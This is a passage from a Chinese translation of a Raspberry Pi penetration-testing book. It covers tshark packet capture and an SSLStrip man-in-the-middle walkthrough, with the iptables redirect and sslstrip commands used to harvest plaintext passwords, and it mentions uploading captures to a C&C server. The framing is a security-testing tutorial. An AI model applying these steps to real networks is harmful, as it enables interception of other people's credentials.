在图3-32显示的原始数据捕获中,可以看到许多有用的数据(此处对关键信息进行了马赛克处理,因为这是一台真实的服务器)。最值得注意的就是包含“log=”和“pwd=”的那一行,明文显示了用户名和密码。
tshark [12] 是命令行版本的Wireshark。如果要在树莓派里使用Wireshark,tshark是最好的选择。也可以考虑用tshark代替tcpdump做数据捕获。
要运行tshark,只需要在命令行终端中输入tshark,然后选择一个可用的网卡。也可以专门指定监控其中一块网卡,如执行tshark eth0就代表使用eth0端口。图3-33展示了tshark做的基本数据捕获。
图3-33
如果希望把捕获的数据保存成文件,这样就可以把结果输出到C&C服务器。运行tshark -w [文件名].cap,就能将捕获的数据保存到指定文件。图3-34展示的就是在抓包时将数据保存到capture.cap文件中。只需要按下Ctrl + C组合键就可以终止捕获,执行ls命令可以显示这个文件。
图3-34
如果一直不停止tshark的捕获,迟早会把树莓派的内存耗光。要避免这一点,可以指定接收数据包的数量,通过增加-c [数量]到命令。本例中,使用tshark -c 500-w capture.cap捕获500个数据包,然后停止运行。对有目标的渗透测试来说,这是最理想的做法,因为可以设定这次捕获需要占用的空间大小,将捕获的数据保存成文件,按照书中之前讲过的步骤将文件上传到C&C服务器。前面在介绍tcpdump的类似功能的时候使用了过滤的脚本,也可以稍微调整过滤的写法,用tshark而不用tcpdump的话,可以多一种数据包捕获工具。
主机系统抵抗针对Web服务器中间人攻击的主要方法是SSL加密。一般在访问敏感服务如在线银行或购物时会碰到SSL加密。许多浏览器会在界面上显示一把小锁,标识当前是HTTPS状态,提醒最终用户要注意安全。
有赖于安全研究员Moxie Marlinspike的贡献,这一层的防护也可以用SSLStrip绕过。SSLStrip通过代理HTTPS请求从受害者并转为HTTP发送。HTTP流量是未加密的,使它可以被窃听。一旦SSLStrip强制成HTTP连接,攻击者就可以用tcpdump查看未加密的身份信息,如访问Facebook账号时。
之后开发的HTTP严格传输加密(HTTP Strict Transport Security HSTS)规范可以抵御这种攻击。然而,部署HSTS的进展依然缓慢。有些商家如在线银行更倾向于压根不提供HTTP版本的网站,HTTP版本的网站通常用于在受到攻击时返回“未找到网页”的信息提示。但不幸的是,很多其他商业机构是同时提供HTTP和HTTPS版本的网站,以避免给人留下网站没开通的印象,而罔顾了使用SSLStrip做中间人攻击的风险。因为这些及其他各种原因,SSLStrip攻击依然很常见。
再来看看在一台主机和互联网之间的SSLStrip攻击,该主机正准备访问自己的Facebook账号。图3-35显示了在用户和Facebook之间的通信情况。
图3-35
进行中间人SSLStrip攻击时,SSL加密会话会被拦截,返回给用户的是已被替换过的HTTP响应。而用户再发送信息时,并不知道信息是以明文传输,很容易被网络嗅探器查看。
图3-36显示了SSL连接的拦截被SSLStrip。
图3-36
树莓派系统的Kali Linux使用场景,是先放进网络,然后扫描网段,看哪个系统适宜攻击,再使用本节描述的步骤,攻击者就可以针对内网用户执行中间人SSLStrip攻击,以挖掘用户的密码。
SSLStrip攻击包括以下步骤。
1.Kali Linux ARM版本默认没有安装SSLStrip,因此在实施攻击之前,先得安装这个程序。运行apt-get install sslstrip命令下载该程序。
2.安装了SSLStrip之后,首先要做的是进行ARP欺骗。在本章前面已经做了介绍,这里再快速地回顾一遍ARP欺骗的过程。要总结这些步骤,按如下执行。
只要ARP缓存污染攻击的程序在运行着,就可以看到如图3-37所示的ARP欺骗流量。
图3-37
3.设置好ARP缓存污染后,打开一个新的终端窗口,用iptables设置端口转发。这样攻击者就可以在TCP 80端口上捕获数据流量,并重定向到SSLStrip的监听端口,监听端口只要是可用的值即可。比如在本例中,将目标端口和重定向的目标端口都设置为8080,并使用如下命令:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080
上面这条命令行中选择的重定向端口必须与SSLStrip里的监听端口保持一致。
图3-38显示的是执行了这条命令之后的场景。
图3-38
![]()
要禁用该命令中的PREROUTING规则,可以将其中-A换成-D,就可以清除所有实用的规则。
![]()
ARP欺骗有许多可配置选项。可以使用man iptables命令来翻阅其他的选项。
4.发起SSLStrip攻击。在本例中,我们使用TCP 8080作为监听端口。因此,要执行的命令为sslstrip -l 8080,具体见图3-39。
图3-39
要查看攻击的效果,可以另外再打开一个终端窗口,并输入下述命令:
tail -n 50 -f sslstrip.log.
要测试攻击,可以在被攻击者的系统上打开Web浏览器,并访问使用SSL加密的系统如在线邮箱。返回终端窗口,查看sslstrip.log,会发现用户名和密码以明文显示,见图3-40中的高亮部分。收集的数据放在文本文件里,攻击者可以在之后再翻查该记录文件。
图3-40
![]()
这种攻击仅在局域网内有效。
在本章中,我们开始把树莓派用于渗透测试中。本章首先讨论了怎样用Nmap来探查网络中的设备端口,以及获得其他可能在渗透中用上的数据,然后研究了如何破解无线网络,这样才可以连入网络,运行Nmap和其他扫描工具集。
完成了对局域网和无线网络的勘察工作后,我们又学习了几种针对网络层的攻击技术。首先学习了中间人攻击,把数据引入到树莓派。然后,讲解了如何通过在一个受信任的源和被攻击者之间监控流量,来破解SSL加密。另外还介绍了调整数据包的捕获和输出数据的方法,以避免搞垮树莓派。
下一章将学习如何利用树莓派攻击系统,以及高级的捕获敏感数据的技巧。
[1] 译者注:一家开发基于手机和平板渗透系统的厂商。
[2] 译者注:这个IP前的横线应该是多余的,貌似这样没法执行nmap,但原书确实有,理应要去掉。
[3] 译者注:对这个地方的章节编号非常存疑。从原书的全局目录看,这个地方是3.1.2小节,属于3.1节,但从内容上看,似应和下一节“破解WPA/WPA2”更相关。所以推测这里应该已经是3.2节,而“破解WPA/WPA2”则应该是3.2.1小节。
[4] 译者注:非常怀疑这里是3.2.1小节。
[5] 译者注:这条命令好像用的依然是真实的网卡MAC地址,那之前的macchanger似乎意义不大。
[6] 译者注:原书的编辑略粗心。这里上文明明说捕获的数据文件叫capturefile.cap,命令这里却对不上。
[7] 译者注:原文这里文件类型是.html,地址是错的,实际应该是.htm。
[8] 译者注:这个下载也无效。
[9] 译者注:这节“捕获网络流量”,按原书的排版格式是属于3.2节“破解WPA/WPA2”里的子小节,但从内容来看,应该是和它平行的一节。此处译者擅自作了章节调整,也直接影响到后续几小节的编号关系,如有欠妥之处,责任全在译者。
[10] 译者注:这个地方原文是recommend the network tap approach…,揣摩也许是从交换机的镜像口把流量接给树莓派,但那样会太多了,也许仅是指上面的网桥形式。
[11] 译者注:这一句原文在上面的(tcpdump net)后面一行,但那个位置明显和前后文不符,猜测应该在这里。
[12] 译者注:Kali默认也没有带tshark,需要使用apt-get install tshark进行安装。